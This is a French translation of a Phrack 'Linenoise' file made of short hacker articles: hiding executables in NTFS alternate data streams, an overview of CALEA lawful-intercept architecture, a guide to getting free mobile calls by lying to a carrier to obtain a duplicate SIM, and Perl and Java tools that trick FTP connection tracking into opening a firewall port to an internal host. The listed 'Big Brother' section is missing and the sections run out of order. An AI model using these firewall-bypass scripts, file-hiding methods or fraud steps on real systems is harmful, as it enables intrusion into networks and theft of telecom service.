==Phrack Inc.==
Volume 0x0b, Issue 0x3c, Phile #0x03 of 0x10
|=-----------------------------------------------------=[ L I N E N O I S E
]=--------------------------------------------------------=|
|=--------------------------------------------=[Traduit par Jacob [Degenere-Science]]=-----------------------------------------------=|
|=--------------------------------------------------------=[ Phrack Staff ]=------------------------------------------------------------=|
--[ Table des matières
1 - Le coté obscure de NTFS
2 - Analysons Big Brother
3 - Appels gratuits depuis un mobile
4 - Lawfully Authorized Electronic Surveillance [LAES]
5 - Java traverse le firewall !
--[ 1 - Le coté obscure de NTFS (par H. Carvey)
Introduction
Les plates-formes Microsoft continuent à proliférer et à se multiplier. Les
serveurs de bureau et de sociétés fonctionnent sous Windows NT (NT) et Windows
2000 (2k), contrairement aux systèmes des utilisateurs familiaux et des
étudiants qui tournent sous Windows XP (XP). Ces plates-formes sont extrêmement
populaires, et très répandues. Cependant, les administrateurs et les
utilisateurs de ces systèmes en savent très peu sur un dispositif du système de
fichier NTFS appelé " Flux de données alternés "(alternate data streams en V.O
,A.D.S)
NTFS est le système de fichier préféré de par sa stabilité, sa fonctionnalité,
et le niveau de sécurité qu'il fournit. Les ' flux de données alternés NTFS '
(ADSs) sont fournit pour la compatibilité avec le système de fichier
hiérarchique (NDT: initialement " Macintosh Hierarchical File System (HFS) ") de
Macintosh, qui utilise les forks(N.D.T :Les fichiers Macintosh sont constitués
de deux composantes appelées forks ) ressource pour maintenir une information
associé avec un fichier, comme une icône, etc.. (RUSS00). Contrairement a
Microsoft qui fournit des moyens pour créer des ADSs spécifique via Windows
Explorer, les outils nécessaire et les fonctionnalité pour détecter la présence
d'ADSs arbitraires sont absents. Curieusement, les OS ont les fonctionnalité et
les outils nécessaires de base pour autoriser un utilisateur a créer des ADSs et
pour exécuter du code caché dans ces fluxs. L'article de Microsoft Q101353
reconnaît le fait que les API de base Win32 supportent inconsciemment les ADSs.
Le but de cet article est de décrire en détail comment les ADSs sont créé et
manipulé, et comment du code caché dans les ADSs peut être exécuté. Les
différence spécifique dans le traitement des ADSs par NT, 2K, XP ne seront pas
noté.
Création D'ADSs
La syntaxe utilisé pour créer des ADSs est relativement simple. Pour créer un
ADS associéavec le fichier " monfichier.txt ", il suffit de séparer le nom par
défaut du flux du nom de l'ADS, avec les deux points.
c:\ads>echo Ceci est un ADS > monfichier.txt:hidden
En plus, un ADS peut être créé en utilisant le contenu d'un autre fichier.
c:\ads>echo Ceci est un fichier test > test.txt
c:\ads>type test.txt > monfichier.txt:hidden
Cet ADS peut ensuite être vérifier en utilisant Notepad.
c:\ads>notepad monfichier.txt:hidden
Cependant, aucune des variations de la commande 'dir' ou aucune des
configurations de l'explorateur windows ne détecterons la présence de cet nouvel
ADS créé.
En plus, des ADSs peuvent êtres créés et associée avec le listing d'un
répertoire, plutôt qu'un fichier. Cette particularité prendra plus de
signification plus loin dans l'article. Pour le moment, c'est suffisant de
décrire comment de tel ADSs peuvent être créé.
c:\ads>echo Cette ADS est associé au listing du répertoire> :hidden
Les ADSs de ce type peuvent être crées avec Notepad et la commande "type",
évidemment.
Le contenu des ADSs peuvent ne pas être limités a du simple texte. Quelques
chaînes d'informations binaire peuvent constituer un fichier, et l'ADS n'est
rien de plus qu'un fichier. N'importe quel exécutable peut être caché dans les
ADSs facilement.
c:\ads>type c:\winnt\notepad.exe > monfichier.txt:np.exe
c:\ads>type c:\winnt\system32\sol.exe > monfichier.txt:sol2.exe
De façon similaire, les fichiers images, audio ou autres chaînes de donné
peuvent être cachés dans les ADSs
Finalement, Windows Explorer fournit un moyen par lequel des ADSs très
spécifique peuvent être créés (RUSS00). Si l'utilisateur ouvre Explorer et
choisi un fichier, et ensuite fait un click droit sur ce fichier, un menu
déroulant apparaît. En choisissant "Propriété"
apparaîtra un boite de dialogue des propriétés, et en choisissant l'étiquette "
Sommaire" (voir figure 1), cela relaiera les champs dans lesquelles
l'utilisateur peut insérer des informations.
--[ 4 - Introduction a la Surveillance Electronique Authorisee
par la Loi. (Traduit par DecereBrain)
[LAES : Lawfully Authorized Electronic Surveillance]
by Mystic <mystic@lostways.net>
En 1994 le Congres a adopte le Communications Assistance for Law Enforcement Act
(CALEA) [Loi d'Assistance aux Communication pour le
Maintient de l'Ordre]. Son intention etait de preserver mais ne pas etendre les
possibilites d'ecoutes de fils des agences de maintient de l'ordre par requeter
les fournisseurs de telecomunications d'utiliser des systemes qui permettraient
aux agences gouvernementales un niveau d'acces basique dans un but de
surveillance. Quoiqu'il en soit, la loi ne preservait pas seulement les
possibilites deja existantes d'enregistrer les commnications, elle les augmente,
autorisant le gouvernement a collecter des informations a propos des appelant
par sans fil, enregister le contenu sans fil, les messages textes et les
communications par paquets. Le standard qui a resulte de cette legislation est
appele Lawfully Authorized Electronic Surveillance ou LAES.
Un Fournisseur de Service de Telecommunications (FST) qui est compatible CALEA
fournit les moyens acces aux services et informations
suivants aux Agences de Maintient de l'Ordre [Law Enforcement Agencies: LEA] :
1. Non-call associated : Information a propos de l'interception du sujet qui
n'est pas necessairement en lien avec un appel.
2. Call associated : Information d'identification de l'appellant a propos des
appels impliquant l'interception du sujet.
3. Information de signal Call associated et non-call associated :Signale
l'information initialisee par le sujet ou le reseau.
4. Contenu de la surveillance : la capacite de monitorer les communications du
sujet.
Ce processus est appele la fonction d'interception. La fonction d'interception
est completee de 5 fonction separees : acces,
delivrance, collection, administration de fournisseur de service, et
administration de maintient de l'ordre.
----[ 4.1 La Fonction d'Acces (FA)
La FA est constituee d'un ou plus Point d'Acces d'Interception [NDT : PAI, ou
IAP en VO] qui isolent les communications du sujet ou
les informations d'identification de l'appel sans obstruction. Il y a plusieurs
IAP differants qui peuvent etre utilises dans la fonction
d'interception. Je les ai separes en IAP Call associanted et Non-call
associated, et IAP de Surveillance ce contenu.
IAP d'information Call Associated et Non-call Associated
--------------------------------------------------------
- IAP de Service du Systeme (SSIAP) : donne des informations non-call
associated.
- IAP d'Information d'Identification d'Appel (IDIAP) : donne des informations
call associated et, sous forme identique a ce qui suit, les evenements d'appel
pour des appels de circuits basiques :
Reponse - Une partie a repondu a une tentative d'appel
Change - l'identite ou les identites d'un appel ont change
Origine - Le systeme a route un appel passe par le sujet ou le systeme a traduit
un appel pour le sujet
Redirection - Un appel a ete redirige (i.e., forwarde, detourne, ou devie)
Liberation - Les facilites pour l'appel entier ont ete liberees
TerminationAttempt - Une tentative d'appel a un sujet d'interception a ete
detecte.
- IAP de Signal de Sujet d'Interception (ISSIAP) : fournit l'acces aux
informations d'appel et de signalement initailises par le sujet. Ceci inclut, si
le sujet d'interception utilise le forwarding d'appels, l'attente d'appel, le
maintient d'appel ou l'appel a trois. Ca donne egalement aux LEA la possibilite
de recevoir les digits composes par le sujet.
- IAP de Signalement de Reseau (NSIAP) : Permet aux LEA d'etre informees sur les
mesages du reseau qui sont envoyes au sujet d'interception. Ces messages
incluent les informations occupe, re-ordre, sonnerie, alerte, tonalite d'attente
de message ou indication visuelle, attente d'appel, information d'appel ou
nom/numero de redirection, et le texte affiche.
IAPs de Surveillance de Contenu
-------------------------------
Ce qui suit sont les IAPs de surveillance de contenu qui transmettent du contenu
en utilisant un CCC ou un CDC. Une remarque
interessante a propos de la surveillance de contenu est que les TSPs ne sont pas
responsables du decryptage d'informations qui est cryptee
par le sujet de l'interception a moins que les donees soit cryptees par le TSP
et que le TSP a le moyen de les decrypter.
- IAP de Circuit (CIAP) : accede au contenu de l'appel des communications du
mode circuit.
- IAP de Circuit de Conferance (CCIAP) : Fournit l'acces au contenu de services
d'appel en conferance inities par le sujet comme les appels a trois et les
appels a multiples voies.
- IAP de donnees par paquets (PDIAP) : Fournit l'acces aux paquets de donnees
envoyes ou recus par le sujet de l'interception.
Ceux-ci incluent les services suivants :
Signal ISDN d'utilisateur a utilisateur
Services de paquets X.25 ISDN D-channel
Short Messages Services (SMS) pour les cellulaires et les services de donnees en
mode paquet Personal Communication Services Wireless (i.e. Cellular Digital
Paquet Data (CDPD), CDMA, TDMA, PCS1900, ou les services de donnees en mode
paquet bases sur le GSM)
Les services X.25
Les services TCP/IP
Paging (une voie ou deux voies)
Les services de donnees en mode paquet utilisant les canaux de circulation
----[ 4.2 La Fonction de Delivrance (DF)
La DF est responsable de la delivrance de communications intercepetees a une ou
plusieurs Fonctions de Collection. Ceci est effectue sur deux types de canaux
distingts : les Canaux de Contenu d'Appel (CCC) et les Canaux d'Appels de
Donnees (CDC). Les CCC sont generalement utilises pour transporter du contenu
d'appel comme la voix ou des communications de donnees. Les CCC sont soit
"combines", c'est a dire qu'ils portent la transmission et la reception sur le
meme canal, soit "separes", c'est a dire que la transmission et la reception
sont portees sur des canaux separes. Les CDC sont generalement utilises pour
transporter des messages qui dont le rapport est base sur du texte comme les
Short Message Services (SMS). L'information dans les CDC est transmise en
utilisant un protocole appele Lawfully Authorized Electronic Surveillance
Protocol (LAESP).
----[ 4.3 La Fonction de Collection (CF)
La CF est responsable de la collecte et de l'analyse des communications
interceptees et des informations d'identification de l'appel, et est la
responsabilite des LEA.
----[ 4.4 La Fonction d'Administration de Fournisseur d'Acces (SPAF)
La SPAF est responsable du controle de l'Acces des TSP et des Fonctions de
Delivrance.
----[ 4.5 La Fonction d'Administration de Maintient de l'Ordre (LEAF)
La LEAF est responsable du controle de la Fonction de Collection des LEAS et est
la responsabilite des LEA.
A present que je vous ai presente la LEAS regardons une implementation de ceci,
qui est actuellement sur le marche et est en usage chez quelques TSP :
Passage en revue du CALEAserver :
Le CALEAserver est manufacture par SS8 Networks. C'est une collection et systeme
de delivrance pour des informations d'appel et
de contenu. Ca permet aux reseaux existants de devenir complement compatible
CALEA. Ca permet a une LEA de monitorer les communications
sans ou avec fil, et de rassembler des informations a propos des appels, a
distance. Le CALEAserver s'interface avec le reseau a travers Signaling System 7
(SS7) qui est une extension du Reseau de Telephone Public Commute (RTC) [Public
Switched Telephone Network : PSTN]. Le CALEAserver est compose de trois couches
majeures : la Couche Plate-forme Materielle, le Couche Plate-forme Reseau et la
couche Application Logicielle.
La Couche Plate-forme Materielle consiste en la Matrice de Commutation et la
Plate-forme de Calcul. La Matrice de Commutation est un commutateur programmable
industriel standard. Il contient des cartes T1 pour la transmission de voix et
des connections croisees entre les commutateurs, des cartes DSP pour les
circuits de conferance requis pour l'interception et la reception/generation
DTMF, et des cartes CPU pour la gestion du switch. La Plate-forme de Calcul est
une machine simple basee sur UNIX, montee en rack. Elle est utilisee pour lancer
le logiciel d'application du CALEAserver qui fournit les capacites de Fonction
de Delivrance et controle la Matrice de Commutation.
La Couche Plate-forme Reseau fournit les capacites de SS7 aussi bien que le les
API de traitement d'appel pour la Couche d'Application Logicielle. Ca controle
egalement la Matrice de Commutation.
La Couche d'Application Logicielle est la ou les Fonctions de Delivrance et
d'Administration de Fournisseur de Service sont supportees. Ca isole les
interfaces des Fonctions d'Acces et de Collection, de la principale
fonctionnalite de delivrance permttant de multiples Fonctions d'Acces et de
Collection a travers les Modules d'Interface qui peuvent etre ajoutes ou
modifies sans impact sur les fonctionnalites existantes.
Capacites du systeme :
Configurable pour jusqu'a :
1000 Fonctions de Collection
128 Interfaces de Fonctions d'Acces
32 liens SS7
512 interceptions de contenu d'appel simultanees sur une unique base d'appel
64 equipements de T1 voix
Environnment operationel :
Compatible NEBS, -48 volt, equipement monte en rack 19"
Processeur UltraSPARC de derniere generation
Bus PCI 66 MHz
Systeme d'exploitation UNIX Solaris
Disques de 9 giga-octets, SCSI 40 Mo/s
512 Mo de RAM standard
Ethernet/Fast Ethernet, 10-BaseT and 100-BaseT
Deux ports serie RS-232C/RS-423
Commutateur programmable et scalable avec jusqu'a 4000 port time slot
interchange
Caracteristiques :
Outils de tests inclus pour le test a distance
Systeme de gestion SS7 total
Rapport d'alarmes et logging des erreurs
Recuperation automatique des erreurs logicielles
Sauvegarde des disque automatique ou manuelle
Support de SNMP
Support optionel de X.25 et autres interfaces de fonctions de collection
Standart ITU MLL et support des GUI basees sur Java
Support des reseaux circuit-switched et packet-switched
Support optionel pour d'autres interfaces de fonction d'acces comme requis pour
la compatibilite CALEA, incluant :
*HLR (Home Location Register)
*VMS (Voice Mail System : messagerie vocale)
*SMS (Short Message System)
*CDPD wireless data
*Centre d'authentification
*Approvinionnement d'acces a distance
Ceci conclut l'introduction a LAES. Ceci n'etant qu'une introduction, j'ai
laisse tomber braucoup de details comme les informations sur le protocole.
Cependant, si vous etes interesses pour en lire plus sur LAES je vous suggererai
de lire le standard TIA J-STD-025A. J'espere que vous pourez en lire un peu plus
a propos des possibilites de surveillance des LEA. Si vous avez des questions
soyez libres de me contacter. Adresse e-mail : voir plus haut.
--[ 3 - Appels gratuits depuis un mobile
par eurinomo
Ce bug peut être utilisé pour appeler gratuitement, envoyer gratuitement
des SMS, et avoir les fonctionnalités wap gratuites.
Premièrement, vous devez voir si votre opérateur mobile est
vulnérable
au bug ou non. Appelez juste le service d'appel gratuit (pour ne pas
gaspiller de l'argent) et dites leur que votre carte (sim) est bloquée,
que vous avez oublié votre téléphone dans la chambre de votre petite sœur
et que votre mobile affiche " Carte sim bloqué " ou quelques chose dans ce
goût là. Dites leur que votre sœur à probablement faussé le puk parce
le téléphone était sur off, et que maintenant il est allumé. Ensuite le
mec va dire qu'il faut que vous vous rendiez dans un magasin de téléphonie
mobile, que vous devez leurs exposer le problème, et qu'ensuite ils vous
donneront une autre carte avec le même numéro, et le même crédit que
l'ancienne possédée. Demandez-leur combien tout cela va vous coûter et le
mec va vous dire que c'est gratuit ! :-)
Maintenant le matériel dont vous avez besoin:
- Un téléphone mobile qui n'est pas un Nokia (c'est mieux qu'il soit à
vous, et qu'il ne soit pas débloqué)
- Et un Nokia (peut être débloqué, volé ou emprunté. Faites ce que vous
voulez !)
Comment procéder :
Mobile1 = Non Nokia
Mobile2 = Nokia
Insérez la carte dans le mobile1 et entrez votre pin. Lorsque le téléphone
démarre tapez ce code 3 fois :
**04*00000000*00000000*00000000#
ou essayer
**05*00000000*00000000*00000000#
Consultez le manuel et chercher le code nécessaire pour
changer le
puk si les exemples précédents ne fonctionnent pas, ou envoyer un e-mail
à Motorola, dites-leur que votre mobile est un Motorola, et que vous
souhaitez changer le puk et que vous savez qu'il faut changer un code
(ce code n'est pas illégal et il est aussi spécifié dans le manuel).
Si le code n'est pas le premier que j'ai donné plus haut,
c'est à
près. Si vous avez une erreur motorola lorsque vous tapez **04** ou **05**
il va vous indiquer " entrez l'ancien puk " (ou quelque chose comme çà)
automatiquement et ensuite demandez le nouveau code puk deux foix. Mais
le plus important dans cette histoire c'est de bloquer votre carte, je pense
que vous pouvez également le faire si vous entrez un code pin erroné trois
fois de suite, et qu'ensuite vous entrez un puk erroné et...c'est bloqué !
Mais ce que je viens de dire à propos du code n'a pas été testé, vous
pouvez
essayer ce dernier système également, à vos propres risques.
Maintenant allez dans le magasin de téléphonie mobile et
racontez
leurs ce qui s'est passé (votre petite sœur, ou une fille d'un ami de
votre mère, enfin quelque chose comme çà ...). Ensuite, ils vont dupliquer
la carte et ils vont vous donner la nouvelle *et* l'ancienne. A la fin,
ils vous donnent normalement les deux. (NDT : ou prétextez pour avoir
les deux...)
Maintenant la partie facile. Insérez l'ancienne carte dans le
nokia,
allumez-le et vous voyez que la carte n'est pas bloquée !!!! et si vous
insérez la carte dans un autre phone (non Nokia), vous verrez que c'est
bloqué. Le bug est plus un " bug Nokia " qu'un " bug réseau ". Maintenant
envoyez un SMS avec l'ancienne carte et regardez si votre crédit baisse.
Ensuite regardez si le crédit a été décompté de la nouvelle carte ; si
ce n'est pas le cas c'est parce que le réseau est vulnérable au bug et
vous ne perdrez pas de tunes de votre ancienne carte. Toutefois vous avez
seulement deux semaines ou moins avant qu'ils coupent complètement la
ligne du réseau, et que ce soit complètement bloqué, mais la nouvelle
carte aura le même crédit que l'ancienne, et vous pouvez répéter l'opération
encore et encore.... Je ne pense pas qu'il vous attraperont (NDT : hum...)
Cette technique à été testée au Portugal sur le réseau GSM " Vodafone "
--[ 5 - Java traverse le firewall
Récemment il y a eu beaucoup de bruit autour du fait qu'il y a beaucoup
d'insécurités dans les firewalls qui supporte le traçage de sessions FTP.
Elles peuvent être dupées lorsque quelqu'un ouvre une session FTP en utilisant
une seconde pile TCP par exemple. Je vous recommande le CERT pour une
dossier complet. Il y a eu d'autres techniques comme certains tags intégrés
dans des fichiers html qui font ouvrir au butineur des connections qu'un
firewall peut interpréter comme une session FTP.
Jetons un oeil sur l'exemple suivant :
[ Compagnie ] ---- [ firewall ] --- [des routeurs ] --- [ WEB ]
Une personne de 'compagnie' surfe sur le web et doit passer ses paquets
au travers du routeur qui n'est pas sous le contrôle de 'compagnie' mais
de l'attaquant. Scénario ordinaire non ?
Quelques outils a été compilé pour circonvenir à une telle installation.
Je voulais également dire, pour autant que vous activiez un traçage vous
êtes perdu. Tous les chemins mènent à Rome ;)
Laissez-moi vous expliquez ces petit outils vite fait.
Html-redirect : l'attaquant installe ceci sur un routeur et fixe une
règle de redirection sur le port 8888.
Class-inject : L'attaquant démarre ceci avec eftepe.class. html-redirect
va rediriger les requêtes html à ce mini-httpd. Il force le butineur à
l'intérieur de la compagnie qui est protégé par le firewall, à charger
l'applet java. Ce dernier simule des sessions FTP actives à un routeur et
est autorisé parce que des managers de sécurité voient un routeur comme
l'origine de eftepe.class. Le firewall va ensuite ouvrir le port 7350 entrant,
et ainsi vous pourrez vous connecter sur le routeur:20 à la company:7350.
ftpd : L'attaquant doit démarrer ceci sur un routeur pour simuler une
session FTP.
Createclass : Le script pour créer le code java correct qui utilise l'ip
appropriée (d'un routeur) et du port (de 'company') ensuite l'attaquant
peut aussi prendre place sur le web (c'est à dire phrack.org :) et intègrent
des applets java malicieux. Ainsi prenez garde car X fonctionne sur le
port 6000. :-)
C'est vraiment très simple, et tout ceci ne vaut pas vraiment un article,
c'est pourquoi vous allez trouver plus bas un add-on.
<classinject>
#!/usr/bin/perl -w
# Met un fichier class dans le butineur distant
#
use IO::Socket;
sub usage
{
print "Usage: $0 <class file>\n\n";
exit;
}
my $classfile = shift || usage();
my $class;
my $classlen = (stat($classfile))[7];
open I, "<$classfile" or die $!;
read I, $class, $classlen;
close I;
my $sock = new IO::Socket::INET->new(Listen => 10,
LocalPort => 8080,
Reuse => 1) or die $!;
my $conn;
for (;;) {
next unless $conn = $sock->accept();
if (fork() > 0) {
$conn->close();
next;
}
my $request = <$conn>;
if ($request =~ /$classfile/) {
my $classcontent = "HTTP/1.0 200 OK\r\n".
"Server: Apache/1.3.6 (Unix)\r\n".
"Content-Length: $classlen\r\n".
"Content-Type: application/octet-stream\r\n\r\n".$class;
print $conn $classcontent;
print "Injected to ", $conn->peerhost(), "\n";
} else {
print $conn "<HTML>".
"<APPLET
CODE=\"$classfile\" WIDTH=1 HEIGHT=1>".
"</APPLET></HTML>\r\n\r\n";
}
$conn->close();
exit(0);
}
</classinject>
<createclass>
#!/usr/bin/perl -w
$ENV{"PATH"} = $ENV{"PATH"}."/usr/lib/java/bin";
print "Creating apropriate Java class-file for opeing port > 1023\n";
print "Enter IP to connect to on port 21 (e.g. '127.0.0.1'):";
my $ip = <STDIN>; chop($ip);
print "Enter port to open:";
my $port = <STDIN>; chop($port);
my $p1 = int $port/256;
my $p2 = $port%256;
open O, ">eftepe.java" or die $!;
print O<<EOF;
import java.io.*;
import java.applet.*;
import java.util.*;
import java.net.*;
public class eftepe extends Applet {
public void init()
{
try {
Socket s = new Socket("$ip", 21);
OutputStream os = s.getOutputStream();
BufferedReader in = new BufferedReader(new
InputStreamReader(s.getInputStream()));
PrintWriter pw = new PrintWriter(os, true);
in.readLine();
pw.println("USER ftp\\r\\n");
in.readLine();
pw.println("PASS ftp\\r\\n");
in.readLine();
String port = new String("PORT ");
String me = InetAddress.getLocalHost().getHostAddress();
port += me.replace('.', ',');
port += ",$p1,$p2\\r\\n";
pw.println(port);
for(;;);
} catch (Exception e) {
e.printStackTrace();
}
}
}
EOF
print "Compiling into classfile...\n";
system("javac eftepe.java");
print "Done. Results are in eftepe.class\n";
</createclass>
<ftpd>
#!/usr/bin/perl -w
use IO::Socket;
my $sock = new IO::Socket::INET->new(Listen => 10,
LocalPort => 21,
Reuse => 1) or die $!;
my $conn;
for (;;) {
$conn = $sock->accept();
if (fork() > 0) {
$conn->close();
next;
}
print $conn "220 ready\r\n";
<$conn>; # user
print $conn "331 Password please\r\n";
<$conn>; # pass
print $conn "230 Login successful\r\n";
<$conn>; #port
print $conn "200 PORT command successful.\r\n";
sleep(36);
$conn->close();
exit 0;
}
</ftpd>
<html-redirect>
#!/usr/bin/perl -w
# Simple HTTP Redirector
#
# iptables -A PREROUTING -t nat -p tcp --dport 80 -j REDIRECT --to-port 8888
use IO::Socket;
sub usage
{
print "Usage: $0 <IP|Host>\n".
"\t\tIP|Host -- IP or Host to redirect HTML
reuests to\n\n";
exit;
}
my $r = shift || usage();
my $redir = "HTTP/1.0 301 Moved Permanently\r\n".
"Location:
http://$r:8080\r\n\r\n";
my $sock = new IO::Socket::INET->new(Listen => 10,
LocalPort => 8888,
Reuse => 1) or die $!;
my $conn;
for (;;) {
next unless $conn = $sock->accept();
if (fork() > 0) {
$conn->close();
next;
}
my $request = <$conn>;
print $conn "$redir";
$conn->close();
exit(0);
}
</html-redirect>
<testconnect>
#!/usr/bin/perl -w
use IO::Socket;
sub usage
{
print "Usage: $0 <Host> <Port>\r\n";
exit 0;
}
my $a = shift || usage();
my $b = shift || usage();
my $conn = IO::Socket::INET->new(PeerAddr => $a,
PeerPort => $b,
LocalPort => 20,
Type => SOCK_STREAM,
Proto => 'tcp') or die $!;
print $conn "GOTCHA\r\n";
$conn->close();
</testconnect>
<conntrack-start>
#!/bin/sh
# sample FTP session tracked firewall for 2.4 linux kernels
# modprobe ip_conntrack_ftp
iptables -F
iptables -A INPUT -p tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j
ACCEPT
iptables -A OUTPUT -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT
#iptables -A INPUT -p tcp --syn -j LOG
iptables -A INPUT -p tcp --syn -j DROP
</conntrack-start>
|=[ EOF ]=---------------------------------------------------------------=|